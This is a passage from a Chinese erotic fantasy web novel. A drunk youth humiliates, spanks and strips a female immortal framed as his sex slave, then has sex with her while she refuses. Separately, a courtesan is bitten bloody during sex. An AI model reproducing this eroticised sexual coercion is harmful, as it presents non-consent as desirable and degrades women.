  一个童子抱拳喏了一声,走出门去,见到车边站着一个布衣仙子,恍惚了片刻,回过神后赶紧低下头,将车推走。
  “萍姨,这次的钱……”李芒问道。
  “老规矩,钱五五分,姨姨帮你存着一些,等你以后娶媳妇儿的时候用。”萍姨微笑。
  “不是,我的意思是,我在你这儿存了多少钱了,我准备全都取出来。”李芒咽了口唾沫,道。
  萍姨的笑容凝固了片刻,缓缓道:“你要这么些钱干什么?真要娶老婆了?门外那个姑娘?”说着,她看向门外站着的银月仙子。银月仙子的脸腾地红了。
  “李家小子,不是萍姨不给你钱,但是你还太小了,情情爱爱的你懂什么呀,结婚可是两个人一辈子的事,莫要一时冲动耽误了人家姑娘。不是姨姨不想给你钱哈,而是姨姨建议你们再相处个一年半载,想好了之后再跟姨姨说,姨姨肯定支持你的哈。”萍姨笑眯眯地对李芒道。
  “不是!你想什么呢?”李芒也有些尴尬,“不是结婚,银月是我的朋友,我们要去找人,需要路费。”
  银月仙子听了李芒的话,嘴唇微微抿了抿。朋友,确实,李芒和她的确也只能称之为朋友。但是这两个字从李芒的嘴里说出来,银月仙子却总觉得心中有些失落。
  “找人?”萍姨狐狸一般的眼睛眯了眯。
  李芒叹了口气,将青岚的事大致描述了一下,但是省略了有关《炼奴诀》的事。临行时玉灵儿曾反复告诫李芒,不得轻易暴露有关《炼奴诀》的事,该功法因其令凡人亦可修道的能力而令无数势力眼红争夺,而李芒显然还不具备将其正大光明地占有的资格,而玉灵儿自己更是在临近金竹县后就潜藏在李芒体内,收敛气息。因此哪怕是面对相识多年的萍姨,李芒也没有说出来。更何况,真要论起来,青岚和村子那一日遭受的苦难还是《炼奴诀》的吸引,换言之,就是持有《炼奴诀》的李芒的错,所以李芒也是下意识地将回避了有关《炼奴诀》的事。
  听完李芒的讲述,萍姨紧皱眉头,眼神闪烁。许久之后,长长叹了口气,正色道:“李芒侄儿,不是我见死不救。只是像青岚姑娘这样有特殊体质的女子落在那些邪修手中,几乎是有去无回的……甚至她如今是否还在人世都不好说……”
  “不论怎样,我也要找到她。”李芒抬起头,直视着萍姨,“活要见人,死要见尸。”
  “就算找到她,你又如何把她带回来?那些人背后的势力或许是能左右这方王朝兴衰的庞大势力,就是没有那般势力,以你所说,那人筑基期的实力也足以统治一个小国,你如何能从这种人手中救人?”萍姨皱紧眉头。
  “我有我的办法,而且我还有帮手。”李芒沉声道。
  “你这孩子怎么这么不听话?”萍姨的声音愈发尖锐,“你怎么就是不明白呢,你救不了她,谁也不行,你死了这条心吧!你会把自己的命搭进去的!”
  李芒神情平静而坚定:“事在人为。不救回青岚,我寝食难安,而只要能救她,我不在乎自己会怎样。”
  “放肆!幼稚!”萍姨一声怒喝,拍案而起,吓得座下抄方童子瑟瑟发抖,萍姨发怒时有多可怕她再清楚不过了。
  “总之我绝不会因为这种理由就给你钱的,你死了这条心吧!”萍姨站起身来,显露出她胸前那对比脑袋还大的肥满乳球,若非有衣服兜着,自然下垂时或许能遮住肚脐。而此时,那被里面一件袒胸短襦露出上半部分的雪嫩乳球随着胸脯的快速起伏颤颤巍巍,那一张妩媚病弱的苍白脸庞也是涨得通红,她面色冰寒,抬起纤纤玉指正对着李芒要说些什么,却突然脸色一变,掏出手帕,捂住嘴剧烈地咳嗽起来。
  李芒见状,眼中闪过一丝挣扎,但此时此刻他却不愿意服软。正当他要说些什么时,却感到衣服被扯了一下,原来银月仙子不知何时来到李芒身后,朝他轻轻摇了摇头。虽说在李芒口中这所谓的萍姨和他并不对付,但在李芒双亲已经去世的现在,这萍姨也确实是以一个长辈的身份关照着李芒,因此银月仙子也不希望两人就此闹翻。钱的事好解决,但是两人的情感出了问题便不是那么好解决的了。
  李芒不甘地看向银月仙子,两人四目相对,银月仙子默然做出口型:来日再议。李芒眼神闪烁着,缓缓点了点头。而这时,先前推车的那个八角童子如今拿着一个纸条从里屋出来,将纸条递给了萍姨,是李芒带来的药的清单。
  萍姨接过纸条,瞪了李芒一眼,这才看向纸条。
  “真不少啊,若是平常能卖五六两银子吧,但是这次我只给你三两,你给我回去死了这条心。青岚姑娘的事是个悲剧,但你最好当她已经死了。”萍姨坐了回去,扶着额头,闭着眼,道:“桂皮,把钱给他,送客。”
  “是,师父。”又一童子道,是刚刚在门外拦住李芒的那童子。他去后边领了三两银子,回来交到李芒手中,微笑道:“李公子,请吧。”
  李芒收下钱,瞪了萍姨一眼,一言不发地转身离去。
  萍姨目送李芒和银月仙子出了长生香,神情一下子憔悴起来,脸色更加苍白,道:“八角,扶我回去歇息。丁香,下午这长生香交给你坐镇,不要怠慢了病人。其余人等也不要偷懒。”
  萍姨座下那抄方童子便叫丁香,她赶忙起身行礼,喏了一声。萍姨这才在八角的搀扶下下了高台,去往后院歇息去了。
  另一边,李芒在街上气冲冲地走着,银月仙子缓步跟在后面,气氛很尴尬。银月仙子觉得自己应该说点什么,但也也不知怎么开口,更不知如何宽慰人。过往自己把自己那徒儿骂哭后也都是自己的师父出言安慰,自己跟在师父身旁这么多年竟没学来一句两句。
  而李芒生着闷气,与其说是因为没能从萍姨那里要到钱,倒不如说是因为自己曾在银月仙子面前洒下豪言壮语,拿了钱请她吃一顿大餐。这下可好,让一个外人看到自己和萍姨吵架,钱还没拿到,连车都被扣下了,请客吃饭就更别提了。李芒只觉得颜面尽失。
  没有钱李芒不怕,他年轻力壮,有点功夫,还会点医术,不愁没有来钱的道,大不了一边打工一边攒钱寻人。
  可也不行,萍姨那话不中听可也在理。青岚落入那伙贼人手中定是受尽凌辱,甚至不知道会被卖到何处,自己越是拖延,寻找青岚的可能性便越是微小。为了救回青岚,实力,情报,金钱三者缺一不可,李芒虽然都没有,但前两样也都需要从长计议,可钱作为其中最好获得的一环,决不能被它拖累!
  但萍姨却是那般坚定态度,要想说服她把钱交给自己属实是天方夜谭……
  正当李芒皱眉沉思时,忽听得一个熟悉的笑声:“李兄,真是缘分啊,竟能在这里遇见你。”
  李芒抬起头,见到那搂着一妙龄女子的白衣身影,惊讶道:“白兄?”

乡村如此多娇
伙夫
周平本是一个平凡小村医,可是村里的俊寡妇,总喜欢上门找他治病…… 水兰溪:“周平,今晚上来嫂子家给嫂子治一治吧?” 周平:“兰溪嫂子,快让我歇一歇吧,这个星期都八回了!” ...

晴空万里 / 发表于: 2025/11/04 05:51:51

二十八章-酒后乱性
  醉仙楼是金竹县中最大的一家酒楼,托金竹生意兴隆的福,此处时常招待各地的势力或商家,觥筹交错间,一笔笔订单被签下,白花花的银子滚滚而来,注入这个县城,维持着这个偏远县城的兴隆和热闹。
  李芒做梦也没想到自己有朝一日竟会坐进这醉仙楼,他坐在一处包厢之中,屋中装饰精美繁杂,其中金竹编制的竹艺品占了多数。大道以阴阳创造天地万物,金竹县的灵工巧匠们却能用一双手和一根竹条编出一方小天地。
  此间包厢呈半包围结构,临近外墙的那面只有几根柱子支撑,平时以雕花竹屏风遮挡,若撤去屏风便能将半边金竹县收入眼底,就连远处那淡金色的竹林也能看得清清楚楚。
  “呵呵,李兄,在下大手大脚惯了,千万不要客气。”白玉珍坐在主位,大腿上坐着一红纱红裙的少女,一挥手,几个侍女便端着一盘盘丰盛菜肴摆在桌上。
  菜肴芳香扑鼻,却没让李芒的心情好转多少。但别人请客,总不好驳了对方面子,举起茶杯笑道:“那便多谢白兄了。”
  白玉珍玲珑者也,看出李芒心情不佳,便道:“李兄卖药归来,理应大获丰收,却怎的这般愁眉苦脸。”
  “白兄,那你可不要打趣我了。”李芒苦笑一声,将先前发生之事简要一说,却是越说越烦闷,长叹一声道:“那钱本就是我的,却被那女人霸占了去,我拿来用天经地义,可她却总想着法儿地阻挠我!”
  白玉珍一听,笑了笑,道:“不曾想竟发生了这样的事。不过那萍夫人毕竟和李兄有旧,她所思所想未必称你心意但也绝不会害你,毕竟在她眼中李兄也终究是那未经事的晚辈。”
  “我可不小了,按照律法我也是个男人了!”李芒没好气地道。一旁的银月仙子听了,不知想起什么来,脸竟然有些发红。
  “哈哈,李兄所言极是!”白玉珍朗声笑道:“既是堂堂男儿汉,今日在下便陪李兄以男人的方式好好宣泄一番!来人,上酒!”
  说罢没多久,门外一个侍女便端着一口小锅和一个小火盆进了包厢,将那火盆中的炭点燃后,上面盖了一个雕着镂空花鸟纹饰的盖子,上面坐上一口黄铜小锅,上刻重峦叠嶂,掀开锅盖,酒香扑鼻,里面盛着清澈的酒液,其中还泡着各式各样花瓣和切成丁的水果,使这酒香中还隐约散发出阵阵果香。
  “李兄,这可是这醉仙楼的招牌,‘花果山福地’,快来尝尝。”白玉珍接过侍女递来的汤勺,给李芒盛了一杯。
  李芒举杯,一饮而尽。酒液入喉,先是鲜甜可口,接着火辣呛鼻,最后却是果香清爽,而肚中却是暖洋洋的。
  “咳咳——”李芒没怎么喝过酒,如今心烦气闷,情境使然下一杯下肚,差点被呛到,连连咳嗽,却是惊叹:“好喝,果真好喝!”
  “那是自然,招牌招牌,没点本事砸了招牌。只是现在酒液清凉,若是待会儿温热了再喝,又是另一番享受。”白玉珍也给自己盛了一杯,那怀中女子伸出纤纤玉手,拿起杯子。正当李芒以为那女子要将杯子端到白玉珍嘴边时,却惊讶地发现那女子竟把酒杯送到自己嘴边,喝了一小口,再将那一对樱桃小唇贴上白玉珍的嘴唇,将口中香酒喂入后者口中,许久未曾分开,那少女脸色羞红,想必是那口中香舌儿也被那白玉珍品尝一二。
  “公子……”少女娇羞地推开白玉珍,擦擦嘴角拉出的银丝,娇嗔道:“春虹又不会跑,可这菜凉了就不好吃了呢。”
  “哈哈,若不是春虹姑娘喂的菜在下可吃不下去呢。”白玉珍调笑道,一手搂着春虹的腰,一手便朝春虹那盈盈可握的一对酥胸摸去。
  “讨厌~”春虹娇声道,却是任由白玉珍在旁人面前亵玩自己的乳房,另一边则拿起筷子,夹起一片肉,送到白玉珍口中。
  银月仙子闷头吃着饭,听到白玉珍和春虹的动静,皱了皱眉,显然是不喜这白日宣淫的行为。
  而一旁的李芒却问道:“白兄,这位是?”
  白玉珍咽下口中食物,道:“这是我在那青楼‘春满园’包下的妓女,唤作春虹。如此美景美食,没有美人作陪可就太过无趣了不是?”
  “白公子你怎能把人家说得像那窑洞子里千人骑的婊子一样,春虹可是春满园的头牌艺伎,卖艺不卖身呢。”春虹嘟起小嘴,在白玉珍胸口轻轻锤了一拳,“当然,若是遇到像白公子这样风度翩翩的少年才俊,春虹还想和公子度过一夜春宵呢。”
  “呵呵,春虹姑娘这话想必和不知道多少人说过了,但是在下依旧被你这迷死人的小嘴哄得骨头酥麻。”白玉珍笑笑,和春虹吻在一起。
  李芒咽了口唾沫,有些羡慕地看着白玉珍。什么叫享受,白玉珍这就叫享受。就是那皇帝老儿,也无非就是跟那后宫佳丽三千风花雪月,天下极乐不过如此。
  如此想着,李芒瞥了一眼一旁吃饭的银月仙子,心思有些活络,但很快又压制下去。虽说银月仙子做了自己的采补炉鼎,自己也是她名义上的主人,可在她面前李芒还真就没怎么有过作为上位者那般居高临下的感觉。反而是自己时常得小心翼翼看她的脸色。
  这时,银月仙子察觉到李芒的视线,似是猜出他心中所想,脸上浮现两朵红霞,立刻恶狠狠地瞪了李芒一眼,警告的意味不言自明。
  李芒浑身一哆嗦,赶忙挪开视线,可心中却是越发愤愤不平。我是主人你是奴才,你还要造反不成?越想越气,李芒又给自己盛了一杯酒,闷头喝起来。
  酒过三巡菜过五味,李芒满面通红,眼睛都直了,打了个酒嗝:“白兄……嗝——你是个聪明人,你给老弟……嗝——支个招……我怎么着才能把老子的钱……嗝——从那老妖婆的手里拿回来?”
  白玉珍也是喝得尽兴,举手投足间豪迈了不少,抓揉着春虹那一对挺翘臀瓣的手掌也加大了些力度:“这有何难?李兄是得了大机缘才入得外道,但其本心还是讲究正道那些仁义道德,既享受规矩带来的便利也被规矩所禁锢。但既然已入邪魔外道,便应该打开思维,灵活变通。规矩于我有利则遵守规则,规则于我无利则凭心而行,万事皆允。”
  李芒调动着那为数不多的一点思维能力,沉吟片刻,道:“难道白兄的意思是……既然钱要不回来,那我便自己去拿?”
  “呵呵,在下只是提点一两句,李兄如何理解便不关在下的事咯。”白玉珍笑道,侧头与春虹舌吻起来,下流的水声和吸吮声在包厢内十分清晰。
  “你给我差不多着点。”银月仙子冷冷的声音忽然传来,她放下筷子,面前摆着三个空碗。“我见你对李芒没什么恶意才对你睁一只眼闭一只眼,麻烦你不要把你们那些臭毛病拿出来带坏别人。”
  白玉珍的笑容僵了一下,轻笑一声道:“确实如此,是在下喝多冒犯了。春虹,你也坐下吃点吧。”
  “银月……嗝——这里有你什……什么事?”李芒忽然道。
  “什么?”银月仙子转过头,正对上一张醉得嘴斜眼歪的脸。
  “我们……嗝——老爷们儿说话……你……嗝——你插什么嘴啊?”李芒把空杯拍在桌子上,不悦道。
  “你喝多了。”银月仙子紧皱眉头道。
  “我没喝……嗝——喝多……”李芒道,“我……忍你很……很久了……一天天的嘚瑟……什么呀?”
  “你什么意思?”银月仙子柳眉倒竖,一股威压释放出来。白玉珍眼睛眯了眯,将一旁那吓得瑟瑟发抖的凡人春虹搂进怀里,替她挡下那份威压。
  “我什么意思?”李芒脸颊涨红,“你不就是仗着自己这点本事吓……吓唬我吗?告……嗝——告诉你,小爷是你的主子,你是小爷的炉鼎,是小爷的奴儿!敢吓……吓唬你主子,要……要造反啊你!”
  “我看你才是想找死!”银月仙子气得小脸煞白,她如何忍得了这般羞辱,当即拔出银剑。
  “哎哎哎,前辈息怒,息怒。”白玉珍连忙劝道:“天子尚且避醉汉,李兄喝多了,口无遮拦,前辈莫要当真。”
  “轮不到你出来当好人!”银月仙子瞪着白玉珍:“都是你拉着他喝酒搞的!”
  “放肆!”李芒一拍桌子,怒喝道:“你冲我也就算了,你还敢对我兄弟发火?!我今天倒要好好管教管教你!跪下!”
  “你!”银月仙子剑指李芒,手因为极度的愤怒而微微颤抖。
  “李兄,你先冷静一下,前辈她也是为了你好……”白兄好言劝道。
  “白兄,你不要管我,小爷我今天就是要管教管教这娘们儿,跪下!”李芒大声嚷嚷道。
  “前辈……”白玉珍略一思索,苦笑一下,道:“事到如今,只好先委屈前辈,做个样子出来,配合一下李兄吧。”
  听到委屈二字,银月仙子忽然鼻头一酸,眼眶也有些泛红,可她表情依旧冷冽,寒声道:“凭什么要我委屈,明明是他无辜发难,为什么不让他委屈一下?”
  白玉珍有些无奈地摊摊手:“唉,这事的确是李兄冲动了些,但前辈也看到了,这人喝醉了什么都听不进去,在下也劝不动他。可事情到这一步总得有个人先退一步,既然李兄已经听不进话,在下也只得恳请前辈做那个让步之人了。”
  “我不退。大不了我把这淫贼一剑杀了。”银月仙子抬起下巴,不肯认输。
  “哎哎,前辈也别冲动,”白玉珍道,“此处可不是魔道领地,杀人放火也无人在意,这醉仙楼可是金竹县的核心,更是昴日宫安插在此地的眼线之所在,其地位就连县衙门都比不上,在这里杀人无疑是打了昴日宫的脸。前辈既然沦为炉鼎之身,纵有焚天煮海的威能也大抵都被封禁,若是李兄身死恐无解除封印的可能,以此之身想要脱离昴日宫的追捕,恐怕是插翅难逃啊。”
  “我不管,我咽不下这口气!”银月仙子虽然气愤,但终究不是冲动之人。白玉珍言之有理,她也无法否认。只是她受的这些气也不能就这样不了了之。
  白玉珍听出了银月仙子话语中的弦外之音,知道此事有缓,笑道:“前辈通情达理,在下佩服。若是情理上过不去便好办。李兄喝醉了,前辈如何打骂他也无济于事,不如现在先逢场作戏,将他哄过去,事后等他醒酒了,前辈再把丢掉的脸面从他身上加倍找回来也不迟。”
  银月仙子阴沉着脸,紧咬银牙,思量许久,终于下定决心,点了点头。
  “前辈能屈能伸,日后定能一飞冲天,在下敬前辈一杯!”白玉珍大笑,举杯一饮而尽。
  “你们在那嘟嘟囔囔说什么呢,啊?”李芒嚷嚷道,“银月,你还不给本大人跪下?”
  银月仙子脸色青白交替,心中挣扎了一阵,两腿终于是缓缓弯曲,跪在李芒面前。
  李芒见银月仙子下跪,当即小人得志般地大笑三声,竭力摆正姿势,模仿着戏班中官老爷的腔调:“下跪何人,报上名来。”
  银月仙子脸色涨红,让她下跪就已是做出极大的让步,可一想到事后能把自己受的气从李芒身上全都找回来,银月仙子还是忍了又忍,低声道:“民女月……”
  “大胆!”李芒一拍桌子,“尔分明是一贱妇,竟敢自称民女?白师爷,这僭越之罪该当何罚?”
  白玉珍一愣,顿时哭笑不得,这家伙竟把自己也拉了进去,还安排自己做一个师爷。可见一旁银月仙子射来的锐利目光,却是一滴冷汗滑落,那李芒喝醉了口无遮拦,可他白玉珍还清醒着呢,这美仙子在拿李芒出气之前先拿他当利息那可受不了。
  “回老爷的话,”白玉珍缓缓道,“这律法众多,下官才疏学浅,一时间竟想不起来合适的刑罚。老爷学富五车才高八斗,不妨自行定夺。”
  银月仙子听了,狠狠瞪了白玉珍一眼。这奶油小生看似是把急流勇退,置身事外,令银月仙子挑不出他的毛病,但有意无意却把选择权交给一个醉鬼,自己怕是还要遭罪。
  “也好,也好。”李芒手放在下巴上,捋了捋不存在的胡子,低头闭目思索良久,听那动静银月仙子还以为李芒睡着了。正欲起身。
  忽然,李芒抬起头,道:“大胆贱妇,竟犯下僭越之罪,应打三十大板!”说罢,李芒环顾四周,可这酒楼包厢终究不是真衙门,白玉珍已经分配一个师爷的角色,他带来的妓女春虹只是一介女流,也干不成衙役,更别提打人的刑杖。他又低头见银月仙子低头跪拜,心中色心又起,于是大手一挥,道:“但本大人初来乍到,还不曾准备充分,便罚你趴在本大人腿上,受那杖笞之刑。”说罢,他拍拍大腿,其意思不言而喻。
  “你——”银月仙子俏脸发红,咬牙切齿。可一想到若不配合这醉鬼恐怕之后他会更让自己难堪,也只得不情不愿地站起身,缓缓走到李芒面前。
  “站那么高挡着本大人视线,罪加一等,快趴下啊!”李芒一副无赖相,又拍了拍大腿。
  “你给我等着!”银月仙子心里恶狠狠地想着,正欲趴下,却又犯了难。这李芒坐在白玉珍侧面,自己面朝哪边趴下却是个问题。若从左侧趴下,则是面朝着白玉珍和春虹,一会儿上刑时定要被其将自己的表情看个满眼。可若是从另一边趴下,那便是将自己那一对丰满翘臀正对着白玉珍,同样是羞耻至极。
  眼见李芒脸色越来越难看,银月仙子咬了咬嘴唇,朝白玉珍那边看了一眼。白玉珍似是也看出了银月仙子的难处,非常识趣地与那春虹耳鬓厮磨,那春虹也是娇羞个脸,看着清纯可人,却是撩开裙子,一手抓着白玉珍的手往自己胯下送,另一手却是轻轻盖上白玉珍的裤裆,轻轻抚摸着。这两人虽是白日宣淫,但也托此之福,无暇顾忌自己这边。银月仙子心中稍微安心一些,轻叹一声,还是走到李芒右侧,缓缓趴在他的大腿上,将屁股朝着白玉珍那边。虽不能摆正那白玉珍一定不会看向自己这边,但若是看不见倒还能自欺欺人,若是脸朝着白玉珍,再与他看个对眼,那可真就没法活了。
  眼见那银月仙子已经将身子趴在李芒腿上,一对丰满乳球搭在李芒大腿外侧,柔软而结实的腹部与腿面接触。感受着那温暖柔软的触感,李芒的心也是小小地荡漾一下,一根硬硬的东西顶在银月仙子的肋下。银月仙子扭头瞪着李芒,眼神中充满憎恶和杀意。
  “砰!”一声闷响。
  “呀!”一声惊呼。
  银月仙子连忙捂住嘴,只感觉屁股上火辣辣地疼。
  “愣着干啥,集数啊,难不成你还想让本大人多打几次不成?”李芒不满道,可看向抬起的手掌时却是露出一副淫荡的笑容。那一瞬的柔软和弹性,爽!实在是爽!
  “……一……”银月仙子低声数道。
  “砰!”
  “二……”
  “砰!”
  “三……”
  “……”
  “……”
  正当银月仙子疑惑为何第四掌没有落下时,只觉得自己的裤子被什么东西抓住了,银月仙子还没回过神,只觉得屁股一凉,这才发觉自己的裤子被李芒褪了下来,连里面那亵裤都未曾幸免。
  “你!你干什么!找死啊你!”银月仙子脸颊滚烫,尖叫出声,挣扎着扭动身体,想要将裤子穿过去。
  “啪啪啪!”接连三声脆响。
  “唔——”银月仙子一声痛哼。
  “哼,贱妇,你好大的胆!”李芒的声音在头顶响起,“人人都知受杖刑时应该褪下裤子,光着屁股领刑,你却穿着裤子,还要本大人给你脱下,莫不是成心要让本大人难堪?”
  这都哪跟哪啊?!银月仙子在心中咆哮。
  “总而言之言而总之,该罚!”李芒说着,甩开手臂,五指并紧,重重拍在银月仙子那雪白柔嫩的臀瓣上。
  “啪!”
  “啪!”
  “啪!”
  “大胆贱妇,为何停止计数,莫不是在抗旨不从?”
  “啪!”
  “啪!”
  “啪!”
  ……
  银月仙子紧咬着牙,不论屁股上如何火辣辣一片剧痛,却愣是低着头,看着面前的地板,一声不吭。
  李芒见腿上这女人不论如何打都不吱声,心里也是生出一股火气,手上的力度也是越来越重。
  “……”银月仙子将嘴唇紧紧抿成一条缝,眼睛眯起,挤出两行清泪。堂堂一代美仙子,竟然让一个比自己矮一头的少年打屁股打到哭出来。
  疼吗?虽然疼,但修炼时比这疼的时候多的是。
  羞耻吗?虽然羞耻,但此刻却顾不上那些了。
  委屈。如果要用一个词来形容此时的心情的话就是委屈。
  为什么,为什么要这样羞辱我?是仍对我当初什么都没做而心存怨恨吗?可如果恨着我的话,又为什么不像对待那个英儿一般地报复我呢?为什么会对我好,为什么会来找我,为什么会选择我,为什么那晚你要说想让我做你的女人呢?都说酒后吐真言,那你如今的模样才是你最真实的想法吗,原来之前的你都在骗我吗,你是否一直都期待着真相大白时我的表情呢?我知道我害你失去了很重要的人,所以我被你夺走清白,被你改造成炉鼎,毕生修为都便宜了你,被你那样侵犯,甚至被那炉鼎阵法弄得放下矜持去向你求欢,我自觉我已经付出了足够的代价,就算你以死谢罪我身上也还是留下了一辈子无法消除的丑陋疤痕,可你为什么还要这么做?明明昨晚我们在街上走着的时候是那样放松,那个包子的味道我现在还能想起来,为什么今日你就忽然变了一个人,要这样对我?
  豆大的泪珠从眼中滚出。银月仙子用力吸了吸鼻子,再用手用力揉了揉,最后用力咬住手指,只有另一种疼痛才能缓解另一种疼痛。
  而在另一边,春虹不知何时已经骑跨在白玉珍身上,忘情地扭动着身子,一帘红裙遮住满园春色,却遮不住那咕啾咕啾的淫靡水声。
  “哈……哈……白公子,你的那里好大……啊啊……春虹要被公子弄得升天了……”春虹吐息湿热,搂住白玉珍的脖子,浑身出了一层薄汗。
  白玉珍舔弄着春虹的耳垂,两手把握着少女的青嫩臀瓣,把玩着那一对柔软,却没有说话。他的耳边清晰地传来那一声声脆响,引得他不由自主地将视线转移过去。
  一双雪白的臀峰映入眼帘,浑圆饱满,白玉珍自诩玩过不少女人,但未见有那个女人能拥有眼前这般丰满挺翘的屁股。而此时这世间难有的肉蒲团却在李芒的手掌下荡漾出一圈圈肉浪,摇晃晃,颤巍巍,似是粉冻般稍一用力就会散碎,又总会弹跳着恢复一开始的模样,引人不禁想要更加用力,试探出这一对丰肉的极限。
  随着李芒每一巴掌的落下和抬起,那臀瓣上便会留下一个红红的掌印,数十巴掌打下来,那臀尖已经通红,上红下白,似是两个硕大的蜜桃。而在那两个蜜桃之间的黑暗夹缝之中,竟隐隐有水光闪烁。
  白玉珍两眼发直,神情恍惚,心中一股冲动无法克制地涌出来。他哪怕在交合时也能保持平稳的气息变得紊乱粗重,那一张俊秀的面庞也隐隐透出些狰狞。白玉珍有些粗暴地扯开春虹的衣服,露出那雪白的肩头和一对跳跃的鸡头小乳,可他却没管那被无数顾客爱不释手的小巧乳房,而是张开口咬住了春虹的肩头。
  “啊啊……公子……春虹还要……哦哦……春虹已经是公子的人了啊啊……”那春虹被白玉珍扯开衣服,咬住肩头,以为是面前这少年终于被自己的身体折服,兽性大发,心中有几分得意,也更加兴奋。更加动情地扭动着身体,被那根可心的东西在体内搅得汁水四溢。
  白玉珍置若罔闻,紧抱着春虹,却是双目发红地盯着不远处那荡漾着的臀瓣,死死咬住春虹的肩头。
  “唔唔……公子,轻一些嘛,春虹怕疼……”春虹感到肩头传来的力度越来越重,微微皱起眉头。
  可白玉珍只是直勾勾地盯着那臀肉,越咬越用力。
  “啊啊……公子……疼……”春虹咬紧嘴唇,忍受着肩头的剧痛,眼角疼出几滴眼泪。但她却不能动,因为这是妓女的命,就是身价再高,再怎么一夜难求,上了床也是任打任骂,任掐任咬的。
  春虹的身体微微颤抖着,呻吟中多了一丝低低的抽泣。下身的蜜穴儿因为疼痛而夹得更紧,吮吸着那一根威武雄壮的男根,令那噬咬自己身体的男性更加愉悦。有时她痛恨自己的命,痛恨自己生为一个女人,有着隆起的胸部和下体无毛的给人插的洞。当她见到那美若天仙一样的女子给白公子的朋友跪下时,她有些幸灾乐祸,原来这样美的女人也是要给男人玩的。可之后她又有些难过,哪怕这样美的女人也还是要给男人玩。她已经认了命,已经接受了这肮脏的身子,只是记忆中那蹦蹦跳跳的小家伙,春虹不希望她也被这世界玷污,而失去那全世界最可爱最美好的笑容。
  “啊啊啊……公子……”终于,春虹再也无法忍受肩头的剧痛,呻吟着,拍打着白玉珍的肩膀。而白玉珍也终于被口中的腥甜气息惊醒,回过神来,送开口,只见春虹那洁白如雪的光滑肌肤上出现两排深深的牙印,鲜血从中缓缓流出。
  白玉珍抬起头,看着少女的一张泪眼,抱歉地笑了笑,道:“抱歉,春虹姑娘,在下一时间情难自禁……”说罢,便低下头去,像是小狗一般伸出舌头,轻轻舔舐着少女的伤口。
  春虹松了一口气,趴在白玉珍身上,轻声地哭着,幽幽道:“罢了,你们这些男人都爱这般折磨我们这些女孩子,我们越是疼,越是哭,你们就越欢喜。不过春虹不怪公子,春虹生来就是给你作践的……”
  白玉珍舔舐着春虹的伤口,轻轻拍着少女略显瘦削的后背,柔声道:“抱歉,让你受苦了。作为补偿,春虹姑娘若是想要什么首饰或者有什么心愿,可以讲出来,在下一定满足。”
  春虹听了,久久没有出声。她脑海中浮现出刚才白玉珍那带着歉意的微笑,那白净俊秀的脸庞配上被自己的鲜血染红的朱唇,竟是像女子一般美丽,却又带着一丝妖艳,隐隐中有种勾人心魄的魅力,令这被无数人采摘的花儿似乎寻到了落根的归处。
  “公子,春虹不想要什么珠宝首饰。”春虹轻轻道。“公子若是想为春虹做点什么,就去找妈妈,把春虹赎出来吧。春虹身上留下了公子的痕迹,其他客人见了便不会再点春虹了。可春虹家里还有个生病的妹妹,若是没有钱治病的话妹妹就……公子,您要了春虹吧,不仅是身子,连这颗心也是您的,春虹不求名不求分,不争不抢,只要在公子身边做个小丫鬟伺候着您就知足了,只要能让春虹每个月给家里那点钱给小妹治病,春虹这条命都是公子的……”春虹越说越难过,竟又低声哭了出来。
  白玉珍听了,却是没有说话,手上的动作也停了下来。春虹心里咯噔一下,暗道自己有些太心急了,怕不是惹得面前这少爷不高兴了,赎身不成还算好,若是他一怒之下去找那老鸨告状,那自己少不了挨一顿打,这肩上的伤口若是留了疤,被丢到窑子里去当那花几个子儿就能上的肉便器,那便是与判了死刑无异了,不,死刑不过刀光一闪人头落地碗大个疤,进到那窑子里可比砍头恐怖得多。
  白玉珍越是不说话,春虹就越是手脚冰凉,心中发寒。终于,她轻笑一声,颤声道:“公子……春虹刚才说笑的呢……这具下贱的身子怎能入得了公子的眼呢?公子忘了春虹的话吧,春虹用这身淫肉好好地让公子舒服了,公子若是愿意,春虹后面的洞公子也可以随意使用……”
  “呵呵呵……春虹姑娘不必紧张。”白玉珍柔和的声音传来:“相逢即是缘,春虹姑娘既然说出这难言之隐,在下自然愿意成人之美。不就是赎身吗,等这场饭局结束后在下便去春满园将你那自由之身赎出来,正好在下孤身在外,缺一个下人伺候。”
  “公子……”春虹不敢置信地看着白玉珍。在于那双温和真诚的眼睛对视许久之后,春虹再度泪如涌泉,抱住白玉珍,喜极而泣。
  “公子……春虹这辈子就是你的了!”春虹说完,低下头,为面前的这个男人献上充满爱意的一吻。
  扑簌簌,那艳俗而廉价的红衣红裙落在地上,沾满尘土,而在上面,新生后的赤裸少女紧紧拥着面前的少年,想要将他揉进自己身体一般,像蛇一般地扭动着身子,发出娇媚而欢愉的呻吟。
  另一边,白玉珍和春虹交欢的动静也传到李芒耳中。不知道在银月仙子的屁股上打了多少下后,李芒也终于停手了。他也记不清自己打了多少下,银月仙子更没有计数。当然,最主要的原因是他打得自己的手都疼得厉害。金丹期的肉体哪怕因修为被封而削弱强度,但也不像凡人女子那般脆弱。
  听到春虹的呻吟声,李芒心中也是骚动起来。他一把揪住银月仙子肩头的衣服,将这默不作声的美仙子拉起来。那张默默哭泣的脸皱在一起,脸颊因羞耻而通红,而那紧咬着的嘴唇也是咬破了皮,血红染朱唇。眼眶也是红的,眼中雾气朦胧,水波荡漾,却是眯着眼睛,看着自己的眼神中充满憎恶,还有一些说不清道不明的悲伤。
  “你……你若是满意了便松手……”银月仙子冷冷道,但是话语中却夹着一丝哭腔。
  这一张凄美的面庞本应激发人心中的爱怜之心,但对李芒来说却激发出他心中潜藏的某种侵略性。于是他伸手去扯银月仙子腰间的衣带,银月仙子见李芒还要得寸进尺,也不管什么逢场作戏,拼命抵抗。一番拉扯下,李芒眉头一皱,在银月仙子那被打得肿了一圈的屁股上用力一掐,银月仙子尖叫一声,紧紧护住衣服的双手却下意识地放松了一些,任由李芒手忙脚乱地将自己剥了个精光。
  身体暴露在微凉的空气中,银月仙子却像是认命了一半地放弃了抵抗,跨坐在李芒身前,一双湿漉漉的蜜唇已经微微张开,将里面那热乎乎的小洞儿正对着李芒那高挺着的大肉棒。
  李芒扶着银月仙子的腰,向下压,将银月仙子胯下的屄洞缓缓套在那肉棒上。银月仙子流着泪,低着头,感受着自己体内被男性进入后的饱胀感。
  “不要……你给我拔出去……我这具身子就是便宜一条狗也不给你……啊啊……”银月仙子抽泣着道,攥起拳头捶打着李芒的胸口。但不知为何,那拳头落在身上的力度与其说是一个女人在被侵犯时的反抗,倒不如说是一个小女子在委屈时的撒娇。
